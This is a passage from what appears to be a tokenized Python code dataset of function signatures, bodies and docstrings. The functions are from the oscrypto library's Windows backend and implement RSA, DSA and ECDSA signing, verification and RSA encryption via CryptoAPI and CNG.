value\n    TypeError - when any of the parameters are of the wrong type\n    oscrypto.errors.AsymmetricKeyError - when a contained key is incompatible with the OS crypto library\n    OSError - when an error is returned by the OS crypto library\n\n:return:\n    A three-element tuple containing (PrivateKey, Certificate, [Certificate, ...])", "id": "f9489:m17"}
{"signature": "def rsa_pkcs1v15_verify(certificate_or_public_key, signature, data, hash_algorithm):", "body": "if certificate_or_public_key.algorithm != '<STR_LIT>':<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>return _verify(certificate_or_public_key, signature, data, hash_algorithm)<EOL>", "docstring": "Verifies an RSASSA-PKCS-v1.5 signature.\n\nWhen the hash_algorithm is \"raw\", the operation is identical to RSA\npublic key decryption. That is: the data is not hashed and no ASN.1\nstructure with an algorithm identifier of the hash algorithm is placed in\nthe encrypted byte string.\n\n:param certificate_or_public_key:\n    A Certificate or PublicKey instance to verify the signature with\n\n:param signature:\n    A byte string of the signature to verify\n\n:param data:\n    A byte string of the data the signature is for\n\n:param hash_algorithm:\n    A unicode string of \"md5\", \"sha1\", \"sha256\", \"sha384\", \"sha512\" or \"raw\"\n\n:raises:\n    oscrypto.errors.SignatureError - when the signature is determined to be invalid\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by the OS crypto library", "id": "f9489:m18"}
{"signature": "def rsa_pss_verify(certificate_or_public_key, signature, data, hash_algorithm):", "body": "if certificate_or_public_key.algorithm != '<STR_LIT>':<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>return _verify(certificate_or_public_key, signature, data, hash_algorithm, rsa_pss_padding=True)<EOL>", "docstring": "Verifies an RSASSA-PSS signature. For the PSS padding the mask gen algorithm\nwill be mgf1 using the same hash algorithm as the signature. The salt length\nwith be the length of the hash algorithm, and the trailer field with be the\nstandard 0xBC byte.\n\n:param certificate_or_public_key:\n    A Certificate or PublicKey instance to verify the signature with\n\n:param signature:\n    A byte string of the signature to verify\n\n:param data:\n    A byte string of the data the signature is for\n\n:param hash_algorithm:\n    A unicode string of \"md5\", \"sha1\", \"sha256\", \"sha384\" or \"sha512\"\n\n:raises:\n    oscrypto.errors.SignatureError - when the signature is determined to be invalid\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by the OS crypto library", "id": "f9489:m19"}
{"signature": "def dsa_verify(certificate_or_public_key, signature, data, hash_algorithm):", "body": "if certificate_or_public_key.algorithm != '<STR_LIT>':<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>return _verify(certificate_or_public_key, signature, data, hash_algorithm)<EOL>", "docstring": "Verifies a DSA signature\n\n:param certificate_or_public_key:\n    A Certificate or PublicKey instance to verify the signature with\n\n:param signature:\n    A byte string of the signature to verify\n\n:param data:\n    A byte string of the data the signature is for\n\n:param hash_algorithm:\n    A unicode string of \"md5\", \"sha1\", \"sha256\", \"sha384\" or \"sha512\"\n\n:raises:\n    oscrypto.errors.SignatureError - when the signature is determined to be invalid\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by the OS crypto library", "id": "f9489:m20"}
{"signature": "def ecdsa_verify(certificate_or_public_key, signature, data, hash_algorithm):", "body": "if certificate_or_public_key.algorithm != '<STR_LIT>':<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>return _verify(certificate_or_public_key, signature, data, hash_algorithm)<EOL>", "docstring": "Verifies an ECDSA signature\n\n:param certificate_or_public_key:\n    A Certificate or PublicKey instance to verify the signature with\n\n:param signature:\n    A byte string of the signature to verify\n\n:param data:\n    A byte string of the data the signature is for\n\n:param hash_algorithm:\n    A unicode string of \"md5\", \"sha1\", \"sha256\", \"sha384\" or \"sha512\"\n\n:raises:\n    oscrypto.errors.SignatureError - when the signature is determined to be invalid\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by the OS crypto library", "id": "f9489:m21"}
{"signature": "def _verify(certificate_or_public_key, signature, data, hash_algorithm, rsa_pss_padding=False):", "body": "if not isinstance(certificate_or_public_key, (Certificate, PublicKey)):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(certificate_or_public_key)<EOL>))<EOL><DEDENT>if not isinstance(signature, byte_cls):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(signature)<EOL>))<EOL><DEDENT>if not isinstance(data, byte_cls):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(data)<EOL>))<EOL><DEDENT>valid_hash_algorithms = set(['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>'])<EOL>if certificate_or_public_key.algorithm == '<STR_LIT>' and not rsa_pss_padding:<EOL><INDENT>valid_hash_algorithms |= set(['<STR_LIT>'])<EOL><DEDENT>if hash_algorithm not in valid_hash_algorithms:<EOL><INDENT>valid_hash_algorithms_error = '<STR_LIT>'<EOL>if certificate_or_public_key.algorithm == '<STR_LIT>' and not rsa_pss_padding:<EOL><INDENT>valid_hash_algorithms_error += '<STR_LIT>'<EOL><DEDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>valid_hash_algorithms_error,<EOL>repr(hash_algorithm)<EOL>))<EOL><DEDENT>if certificate_or_public_key.algorithm != '<STR_LIT>' and rsa_pss_padding is not False:<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>certificate_or_public_key.algorithm.upper()<EOL>))<EOL><DEDENT>if hash_algorithm == '<STR_LIT>':<EOL><INDENT>if len(data) > certificate_or_public_key.byte_size - <NUM_LIT:11>:<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>certificate_or_public_key.byte_size,<EOL>len(data)<EOL>))<EOL><DEDENT><DEDENT>if _backend == '<STR_LIT>':<EOL><INDENT>if certificate_or_public_key.algorithm == '<STR_LIT>':<EOL><INDENT>return _pure_python_ecdsa_verify(certificate_or_public_key, signature, data, hash_algorithm)<EOL><DEDENT>return _advapi32_verify(certificate_or_public_key, signature, data, hash_algorithm, rsa_pss_padding)<EOL><DEDENT>return _bcrypt_verify(certificate_or_public_key, signature, data, hash_algorithm, rsa_pss_padding)<EOL>", "docstring": "Verifies an RSA, DSA or ECDSA signature\n\n:param certificate_or_public_key:\n    A Certificate or PublicKey instance to verify the signature with\n\n:param signature:\n    A byte string of the signature to verify\n\n:param data:\n    A byte string of the data the signature is for\n\n:param hash_algorithm:\n    A unicode string of \"md5\", \"sha1\", \"sha256\", \"sha384\", \"sha512\" or \"raw\"\n\n:param rsa_pss_padding:\n    If PSS padding should be used for RSA keys\n\n:raises:\n    oscrypto.errors.SignatureError - when the signature is determined to be invalid\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by the OS crypto library", "id": "f9489:m22"}
{"signature": "def _advapi32_verify(certificate_or_public_key, signature, data, hash_algorithm, rsa_pss_padding=False):", "body": "algo = certificate_or_public_key.algorithm<EOL>if algo == '<STR_LIT>' and rsa_pss_padding:<EOL><INDENT>hash_length = {<EOL>'<STR_LIT>': <NUM_LIT:20>,<EOL>'<STR_LIT>': <NUM_LIT>,<EOL>'<STR_LIT>': <NUM_LIT:32>,<EOL>'<STR_LIT>': <NUM_LIT>,<EOL>'<STR_LIT>': <NUM_LIT:64><EOL>}.get(hash_algorithm, <NUM_LIT:0>)<EOL>decrypted_signature = raw_rsa_public_crypt(certificate_or_public_key, signature)<EOL>key_size = certificate_or_public_key.bit_size<EOL>if not verify_pss_padding(hash_algorithm, hash_length, key_size, data, decrypted_signature):<EOL><INDENT>raise SignatureError('<STR_LIT>')<EOL><DEDENT>return<EOL><DEDENT>if algo == '<STR_LIT>' and hash_algorithm == '<STR_LIT>':<EOL><INDENT>padded_plaintext = raw_rsa_public_crypt(certificate_or_public_key, signature)<EOL>try:<EOL><INDENT>plaintext = remove_pkcs1v15_signature_padding(certificate_or_public_key.byte_size, padded_plaintext)<EOL>if not constant_compare(plaintext, data):<EOL><INDENT>raise ValueError()<EOL><DEDENT><DEDENT>except (ValueError):<EOL><INDENT>raise SignatureError('<STR_LIT>')<EOL><DEDENT>return<EOL><DEDENT>hash_handle = None<EOL>try:<EOL><INDENT>alg_id = {<EOL>'<STR_LIT>': Advapi32Const.CALG_MD5,<EOL>'<STR_LIT>': Advapi32Const.CALG_SHA1,<EOL>'<STR_LIT>': Advapi32Const.CALG_SHA_256,<EOL>'<STR_LIT>': Advapi32Const.CALG_SHA_384,<EOL>'<STR_LIT>': Advapi32Const.CALG_SHA_512,<EOL>}[hash_algorithm]<EOL>hash_handle_pointer = new(advapi32, '<STR_LIT>')<EOL>res = advapi32.CryptCreateHash(<EOL>certificate_or_public_key.context_handle,<EOL>alg_id,<EOL>null(),<EOL><NUM_LIT:0>,<EOL>hash_handle_pointer<EOL>)<EOL>handle_error(res)<EOL>hash_handle = unwrap(hash_handle_pointer)<EOL>res = advapi32.CryptHashData(hash_handle, data, len(data), <NUM_LIT:0>)<EOL>handle_error(res)<EOL>if algo == '<STR_LIT>':<EOL><INDENT>try:<EOL><INDENT>signature = algos.DSASignature.load(signature).to_p1363()<EOL>half_len = len(signature) // <NUM_LIT:2><EOL>signature = signature[half_len:] + signature[:half_len]<EOL><DEDENT>except (ValueError, OverflowError, TypeError):<EOL><INDENT>raise SignatureError('<STR_LIT>')<EOL><DEDENT><DEDENT>reversed_signature = signature[::-<NUM_LIT:1>]<EOL>res = advapi32.CryptVerifySignatureW(<EOL>hash_handle,<EOL>reversed_signature,<EOL>len(signature),<EOL>certificate_or_public_key.key_handle,<EOL>null(),<EOL><NUM_LIT:0><EOL>)<EOL>handle_error(res)<EOL><DEDENT>finally:<EOL><INDENT>if hash_handle:<EOL><INDENT>advapi32.CryptDestroyHash(hash_handle)<EOL><DEDENT><DEDENT>", "docstring": "Verifies an RSA, DSA or ECDSA signature via CryptoAPI\n\n:param certificate_or_public_key:\n    A Certificate or PublicKey instance to verify the signature with\n\n:param signature:\n    A byte string of the signature to verify\n\n:param data:\n    A byte string of the data the signature is for\n\n:param hash_algorithm:\n    A unicode string of \"md5\", \"sha1\", \"sha256\", \"sha384\", \"sha512\" or \"raw\"\n\n:param rsa_pss_padding:\n    If PSS padding should be used for RSA keys\n\n:raises:\n    oscrypto.errors.SignatureError - when the signature is determined to be invalid\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by the OS crypto library", "id": "f9489:m23"}
{"signature": "def _bcrypt_verify(certificate_or_public_key, signature, data, hash_algorithm, rsa_pss_padding=False):", "body": "if hash_algorithm == '<STR_LIT>':<EOL><INDENT>digest = data<EOL><DEDENT>else:<EOL><INDENT>hash_constant = {<EOL>'<STR_LIT>': BcryptConst.BCRYPT_MD5_ALGORITHM,<EOL>'<STR_LIT>': BcryptConst.BCRYPT_SHA1_ALGORITHM,<EOL>'<STR_LIT>': BcryptConst.BCRYPT_SHA256_ALGORITHM,<EOL>'<STR_LIT>': BcryptConst.BCRYPT_SHA384_ALGORITHM,<EOL>'<STR_LIT>': BcryptConst.BCRYPT_SHA512_ALGORITHM<EOL>}[hash_algorithm]<EOL>digest = getattr(hashlib, hash_algorithm)(data).digest()<EOL><DEDENT>padding_info = null()<EOL>flags = <NUM_LIT:0><EOL>if certificate_or_public_key.algorithm == '<STR_LIT>':<EOL><INDENT>if rsa_pss_padding:<EOL><INDENT>flags = BcryptConst.BCRYPT_PAD_PSS<EOL>padding_info_struct_pointer = struct(bcrypt, '<STR_LIT>')<EOL>padding_info_struct = unwrap(padding_info_struct_pointer)<EOL>hash_buffer = buffer_from_unicode(hash_constant)<EOL>padding_info_struct.pszAlgId = cast(bcrypt, '<STR_LIT>', hash_buffer)<EOL>padding_info_struct.cbSalt = len(digest)<EOL><DEDENT>else:<EOL><INDENT>flags = BcryptConst.BCRYPT_PAD_PKCS1<EOL>padding_info_struct_pointer = struct(bcrypt, '<STR_LIT>')<EOL>padding_info_struct = unwrap(padding_info_struct_pointer)<EOL>if hash_algorithm == '<STR_LIT>':<EOL><INDENT>padding_info_struct.pszAlgId = null()<EOL><DEDENT>else:<EOL><INDENT>hash_buffer = buffer_from_unicode(hash_constant)<EOL>padding_info_struct.pszAlgId = cast(bcrypt, '<STR_LIT>', hash_buffer)<EOL><DEDENT><DEDENT>padding_info = cast(bcrypt, '<STR_LIT>', padding_info_struct_pointer)<EOL><DEDENT>else:<EOL><INDENT>try:<EOL><INDENT>signature = algos.DSASignature.load(signature).to_p1363()<EOL><DEDENT>except (ValueError, OverflowError, TypeError):<EOL><INDENT>raise SignatureError('<STR_LIT>')<EOL><DEDENT><DEDENT>res = bcrypt.BCryptVerifySignature(<EOL>certificate_or_public_key.key_handle,<EOL>padding_info,<EOL>digest,<EOL>len(digest),<EOL>signature,<EOL>len(signature),<EOL>flags<EOL>)<EOL>failure = res == BcryptConst.STATUS_INVALID_SIGNATURE<EOL>failure = failure or res == BcryptConst.STATUS_INVALID_PARAMETER<EOL>if failure:<EOL><INDENT>raise SignatureError('<STR_LIT>')<EOL><DEDENT>handle_error(res)<EOL>", "docstring": "Verifies an RSA, DSA or ECDSA signature via CNG\n\n:param certificate_or_public_key:\n    A Certificate or PublicKey instance to verify the signature with\n\n:param signature:\n    A byte string of the signature to verify\n\n:param data:\n    A byte string of the data the signature is for\n\n:param hash_algorithm:\n    A unicode string of \"md5\", \"sha1\", \"sha256\", \"sha384\", \"sha512\" or \"raw\"\n\n:param rsa_pss_padding:\n    If PSS padding should be used for RSA keys\n\n:raises:\n    oscrypto.errors.SignatureError - when the signature is determined to be invalid\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by the OS crypto library", "id": "f9489:m24"}
{"signature": "def rsa_pkcs1v15_sign(private_key, data, hash_algorithm):", "body": "if private_key.algorithm != '<STR_LIT>':<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>return _sign(private_key, data, hash_algorithm)<EOL>", "docstring": "Generates an RSASSA-PKCS-v1.5 signature.\n\nWhen the hash_algorithm is \"raw\", the operation is identical to RSA\nprivate key encryption. That is: the data is not hashed and no ASN.1\nstructure with an algorithm identifier of the hash algorithm is placed in\nthe encrypted byte string.\n\n:param private_key:\n    The PrivateKey to generate the signature with\n\n:param data:\n    A byte string of the data the signature is for\n\n:param hash_algorithm:\n    A unicode string of \"md5\", \"sha1\", \"sha256\", \"sha384\", \"sha512\" or \"raw\"\n\n:raises:\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by the OS crypto library\n\n:return:\n    A byte string of the signature", "id": "f9489:m25"}
{"signature": "def rsa_pss_sign(private_key, data, hash_algorithm):", "body": "if private_key.algorithm != '<STR_LIT>':<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>return _sign(private_key, data, hash_algorithm, rsa_pss_padding=True)<EOL>", "docstring": "Generates an RSASSA-PSS signature. For the PSS padding the mask gen\nalgorithm will be mgf1 using the same hash algorithm as the signature. The\nsalt length with be the length of the hash algorithm, and the trailer field\nwith be the standard 0xBC byte.\n\n:param private_key:\n    The PrivateKey to generate the signature with\n\n:param data:\n    A byte string of the data the signature is for\n\n:param hash_algorithm:\n    A unicode string of \"md5\", \"sha1\", \"sha256\", \"sha384\" or \"sha512\"\n\n:raises:\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by the OS crypto library\n\n:return:\n    A byte string of the signature", "id": "f9489:m26"}
{"signature": "def dsa_sign(private_key, data, hash_algorithm):", "body": "if private_key.algorithm != '<STR_LIT>':<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>return _sign(private_key, data, hash_algorithm)<EOL>", "docstring": "Generates a DSA signature\n\n:param private_key:\n    The PrivateKey to generate the signature with\n\n:param data:\n    A byte string of the data the signature is for\n\n:param hash_algorithm:\n    A unicode string of \"md5\", \"sha1\", \"sha256\", \"sha384\" or \"sha512\"\n\n:raises:\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by the OS crypto library\n\n:return:\n    A byte string of the signature", "id": "f9489:m27"}
{"signature": "def ecdsa_sign(private_key, data, hash_algorithm):", "body": "if private_key.algorithm != '<STR_LIT>':<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>return _sign(private_key, data, hash_algorithm)<EOL>", "docstring": "Generates an ECDSA signature\n\n:param private_key:\n    The PrivateKey to generate the signature with\n\n:param data:\n    A byte string of the data the signature is for\n\n:param hash_algorithm:\n    A unicode string of \"md5\", \"sha1\", \"sha256\", \"sha384\" or \"sha512\"\n\n:raises:\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by the OS crypto library\n\n:return:\n    A byte string of the signature", "id": "f9489:m28"}
{"signature": "def _sign(private_key, data, hash_algorithm, rsa_pss_padding=False):", "body": "if not isinstance(private_key, PrivateKey):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(private_key)<EOL>))<EOL><DEDENT>if not isinstance(data, byte_cls):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(data)<EOL>))<EOL><DEDENT>valid_hash_algorithms = set(['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>'])<EOL>if private_key.algorithm == '<STR_LIT>' and not rsa_pss_padding:<EOL><INDENT>valid_hash_algorithms |= set(['<STR_LIT>'])<EOL><DEDENT>if hash_algorithm not in valid_hash_algorithms:<EOL><INDENT>valid_hash_algorithms_error = '<STR_LIT>'<EOL>if private_key.algorithm == '<STR_LIT>' and not rsa_pss_padding:<EOL><INDENT>valid_hash_algorithms_error += '<STR_LIT>'<EOL><DEDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>valid_hash_algorithms_error,<EOL>repr(hash_algorithm)<EOL>))<EOL><DEDENT>if private_key.algorithm != '<STR_LIT>' and rsa_pss_padding is not False:<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>private_key.algorithm.upper()<EOL>))<EOL><DEDENT>if hash_algorithm == '<STR_LIT>':<EOL><INDENT>if len(data) > private_key.byte_size - <NUM_LIT:11>:<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>private_key.byte_size,<EOL>len(data)<EOL>))<EOL><DEDENT><DEDENT>if _backend == '<STR_LIT>':<EOL><INDENT>if private_key.algorithm == '<STR_LIT>':<EOL><INDENT>return _pure_python_ecdsa_sign(private_key, data, hash_algorithm)<EOL><DEDENT>return _advapi32_sign(private_key, data, hash_algorithm, rsa_pss_padding)<EOL><DEDENT>return _bcrypt_sign(private_key, data, hash_algorithm, rsa_pss_padding)<EOL>", "docstring": "Generates an RSA, DSA or ECDSA signature\n\n:param private_key:\n    The PrivateKey to generate the signature with\n\n:param data:\n    A byte string of the data the signature is for\n\n:param hash_algorithm:\n    A unicode string of \"md5\", \"sha1\", \"sha256\", \"sha384\", \"sha512\" or \"raw\"\n\n:param rsa_pss_padding:\n    If PSS padding should be used for RSA keys\n\n:raises:\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by the OS crypto library\n\n:return:\n    A byte string of the signature", "id": "f9489:m29"}
{"signature": "def _advapi32_sign(private_key, data, hash_algorithm, rsa_pss_padding=False):", "body": "algo = private_key.algorithm<EOL>if algo == '<STR_LIT>' and hash_algorithm == '<STR_LIT>':<EOL><INDENT>padded_data = add_pkcs1v15_signature_padding(private_key.byte_size, data)<EOL>return raw_rsa_private_crypt(private_key, padded_data)<EOL><DEDENT>if algo == '<STR_LIT>' and rsa_pss_padding:<EOL><INDENT>hash_length = {<EOL>'<STR_LIT>': <NUM_LIT:20>,<EOL>'<STR_LIT>': <NUM_LIT>,<EOL>'<STR_LIT>': <NUM_LIT:32>,<EOL>'<STR_LIT>': <NUM_LIT>,<EOL>'<STR_LIT>': <NUM_LIT:64><EOL>}.get(hash_algorithm, <NUM_LIT:0>)<EOL>padded_data = add_pss_padding(hash_algorithm, hash_length, private_key.bit_size, data)<EOL>return raw_rsa_private_crypt(private_key, padded_data)<EOL><DEDENT>if private_key.algorithm == '<STR_LIT>' and hash_algorithm == '<STR_LIT>':<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>'''<EOL>))<EOL><DEDENT>hash_handle = None<EOL>try:<EOL><INDENT>alg_id = {<EOL>'<STR_LIT>': Advapi32Const.CALG_MD5,<EOL>'<STR_LIT>': Advapi32Const.CALG_SHA1,<EOL>'<STR_LIT>': Advapi32Const.CALG_SHA_256,<EOL>'<STR_LIT>': Advapi32Const.CALG_SHA_384,<EOL>'<STR_LIT>': Advapi32Const.CALG_SHA_512,<EOL>}[hash_algorithm]<EOL>hash_handle_pointer = new(advapi32, '<STR_LIT>')<EOL>res = advapi32.CryptCreateHash(<EOL>private_key.context_handle,<EOL>alg_id,<EOL>null(),<EOL><NUM_LIT:0>,<EOL>hash_handle_pointer<EOL>)<EOL>handle_error(res)<EOL>hash_handle = unwrap(hash_handle_pointer)<EOL>res = advapi32.CryptHashData(hash_handle, data, len(data), <NUM_LIT:0>)<EOL>handle_error(res)<EOL>out_len = new(advapi32, '<STR_LIT>')<EOL>res = advapi32.CryptSignHashW(<EOL>hash_handle,<EOL>Advapi32Const.AT_SIGNATURE,<EOL>null(),<EOL><NUM_LIT:0>,<EOL>null(),<EOL>out_len<EOL>)<EOL>handle_error(res)<EOL>buffer_length = deref(out_len)<EOL>buffer_ = buffer_from_bytes(buffer_length)<EOL>res = advapi32.CryptSignHashW(<EOL>hash_handle,<EOL>Advapi32Const.AT_SIGNATURE,<EOL>null(),<EOL><NUM_LIT:0>,<EOL>buffer_,<EOL>out_len<EOL>)<EOL>handle_error(res)<EOL>output = bytes_from_buffer(buffer_, deref(out_len))<EOL>output = output[::-<NUM_LIT:1>]<EOL>if algo == '<STR_LIT>':<EOL><INDENT>half_len = len(output) // <NUM_LIT:2><EOL>output = output[half_len:] + output[:half_len]<EOL>output = algos.DSASignature.from_p1363(output).dump()<EOL><DEDENT>return output<EOL><DEDENT>finally:<EOL><INDENT>if hash_handle:<EOL><INDENT>advapi32.CryptDestroyHash(hash_handle)<EOL><DEDENT><DEDENT>", "docstring": "Generates an RSA, DSA or ECDSA signature via CryptoAPI\n\n:param private_key:\n    The PrivateKey to generate the signature with\n\n:param data:\n    A byte string of the data the signature is for\n\n:param hash_algorithm:\n    A unicode string of \"md5\", \"sha1\", \"sha256\", \"sha384\", \"sha512\" or \"raw\"\n\n:param rsa_pss_padding:\n    If PSS padding should be used for RSA keys\n\n:raises:\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by the OS crypto library\n\n:return:\n    A byte string of the signature", "id": "f9489:m30"}
{"signature": "def _bcrypt_sign(private_key, data, hash_algorithm, rsa_pss_padding=False):", "body": "if hash_algorithm == '<STR_LIT>':<EOL><INDENT>digest = data<EOL><DEDENT>else:<EOL><INDENT>hash_constant = {<EOL>'<STR_LIT>': BcryptConst.BCRYPT_MD5_ALGORITHM,<EOL>'<STR_LIT>': BcryptConst.BCRYPT_SHA1_ALGORITHM,<EOL>'<STR_LIT>': BcryptConst.BCRYPT_SHA256_ALGORITHM,<EOL>'<STR_LIT>': BcryptConst.BCRYPT_SHA384_ALGORITHM,<EOL>'<STR_LIT>': BcryptConst.BCRYPT_SHA512_ALGORITHM<EOL>}[hash_algorithm]<EOL>digest = getattr(hashlib, hash_algorithm)(data).digest()<EOL><DEDENT>padding_info = null()<EOL>flags = <NUM_LIT:0><EOL>if private_key.algorithm == '<STR_LIT>':<EOL><INDENT>if rsa_pss_padding:<EOL><INDENT>hash_length = {<EOL>'<STR_LIT>': <NUM_LIT:16>,<EOL>'<STR_LIT>': <NUM_LIT:20>,<EOL>'<STR_LIT>': <NUM_LIT:32>,<EOL>'<STR_LIT>': <NUM_LIT>,<EOL>'<STR_LIT>': <NUM_LIT:64><EOL>}[hash_algorithm]<EOL>flags = BcryptConst.BCRYPT_PAD_PSS<EOL>padding_info_struct_pointer = struct(bcrypt, '<STR_LIT>')<EOL>padding_info_struct = unwrap(padding_info_struct_pointer)<EOL>hash_buffer = buffer_from_unicode(hash_constant)<EOL>padding_info_struct.pszAlgId = cast(bcrypt, '<STR_LIT>', hash_buffer)<EOL>padding_info_struct.cbSalt = hash_length<EOL><DEDENT>else:<EOL><INDENT>flags = BcryptConst.BCRYPT_PAD_PKCS1<EOL>padding_info_struct_pointer = struct(bcrypt, '<STR_LIT>')<EOL>padding_info_struct = unwrap(padding_info_struct_pointer)<EOL>if hash_algorithm == '<STR_LIT>':<EOL><INDENT>padding_info_struct.pszAlgId = null()<EOL><DEDENT>else:<EOL><INDENT>hash_buffer = buffer_from_unicode(hash_constant)<EOL>padding_info_struct.pszAlgId = cast(bcrypt, '<STR_LIT>', hash_buffer)<EOL><DEDENT><DEDENT>padding_info = cast(bcrypt, '<STR_LIT>', padding_info_struct_pointer)<EOL><DEDENT>if private_key.algorithm == '<STR_LIT>' and private_key.bit_size > <NUM_LIT> and hash_algorithm in set(['<STR_LIT>', '<STR_LIT>']):<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>'''<EOL>))<EOL><DEDENT>out_len = new(bcrypt, '<STR_LIT>')<EOL>res = bcrypt.BCryptSignHash(<EOL>private_key.key_handle,<EOL>padding_info,<EOL>digest,<EOL>len(digest),<EOL>null(),<EOL><NUM_LIT:0>,<EOL>out_len,<EOL>flags<EOL>)<EOL>handle_error(res)<EOL>buffer_len = deref(out_len)<EOL>buffer = buffer_from_bytes(buffer_len)<EOL>if private_key.algorithm == '<STR_LIT>':<EOL><INDENT>padding_info = cast(bcrypt, '<STR_LIT>', padding_info_struct_pointer)<EOL><DEDENT>res = bcrypt.BCryptSignHash(<EOL>private_key.key_handle,<EOL>padding_info,<EOL>digest,<EOL>len(digest),<EOL>buffer,<EOL>buffer_len,<EOL>out_len,<EOL>flags<EOL>)<EOL>handle_error(res)<EOL>signature = bytes_from_buffer(buffer, deref(out_len))<EOL>if private_key.algorithm != '<STR_LIT>':<EOL><INDENT>signature = algos.DSASignature.from_p1363(signature).dump()<EOL><DEDENT>return signature<EOL>", "docstring": "Generates an RSA, DSA or ECDSA signature via CNG\n\n:param private_key:\n    The PrivateKey to generate the signature with\n\n:param data:\n    A byte string of the data the signature is for\n\n:param hash_algorithm:\n    A unicode string of \"md5\", \"sha1\", \"sha256\", \"sha384\", \"sha512\" or \"raw\"\n\n:param rsa_pss_padding:\n    If PSS padding should be used for RSA keys\n\n:raises:\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by the OS crypto library\n\n:return:\n    A byte string of the signature", "id": "f9489:m31"}
{"signature": "def _encrypt(certificate_or_public_key, data, rsa_oaep_padding=False):", "body": "if not isinstance(certificate_or_public_key, (Certificate, PublicKey)):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(certificate_or_public_key)<EOL>))<EOL><DEDENT>if not isinstance(data, byte_cls):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(data)<EOL>))<EOL><DEDENT>if not isinstance(rsa_oaep_padding, bool):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(rsa_oaep_padding)<EOL>))<EOL><DEDENT>if _backend == '<STR_LIT>':<EOL><INDENT>return _advapi32_encrypt(certificate_or_public_key, data, rsa_oaep_padding)<EOL><DEDENT>return _bcrypt_encrypt(certificate_or_public_key, data, rsa_oaep_padding)<EOL>", "docstring": "Encrypts a value using an RSA public key\n\n:param certificate_or_public_key:\n    A Certificate or PublicKey instance to encrypt with\n\n:param data:\n    A byte string of the data to encrypt\n\n:param rsa_oaep_padding:\n    If OAEP padding should be used instead of PKCS#1 v1.5\n\n:raises:\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by the OS crypto library\n\n:return:\n    A byte string of the ciphertext", "id": "f9489:m32"}
{"signature": "def _advapi32_encrypt(certificate_or_public_key, data, rsa_oaep_padding=False):", "body": "flags = <NUM_LIT:0><EOL>if rsa_oaep_padding:<EOL><INDENT>flags = Advapi32Const.CRYPT_OAEP<EOL><DEDENT>out_len = new(advapi32, '<STR_LIT>', len(data))<EOL>res = advapi32.CryptEncrypt(<EOL>certificate_or_public_key.ex_key_handle,<EOL>null(),<EOL>True,<EOL>flags,<EOL>null(),<EOL>out_len,<EOL><NUM_LIT:0><EOL>)<EOL>handle_error(res)<EOL>buffer_len = deref(out_len)<EOL>buffer = buffer_from_bytes(buffer_len)<EOL>write_to_buffer(buffer, data)<EOL>pointer_set(out_len, len(data))<EOL>res = advapi32.CryptEncrypt(<EOL>certificate_or_public_key.ex_key_handle,<EOL>null(),<EOL>True,<EOL>flags,<EOL>buffer,<EOL>out_len,<EOL>buffer_len<EOL>)<EOL>handle_error(res)<EOL>return bytes_from_buffer(buffer, deref(out_len))[::-<NUM_LIT:1>]<EOL>", "docstring": "Encrypts a value using an RSA public key via CryptoAPI\n\n:param 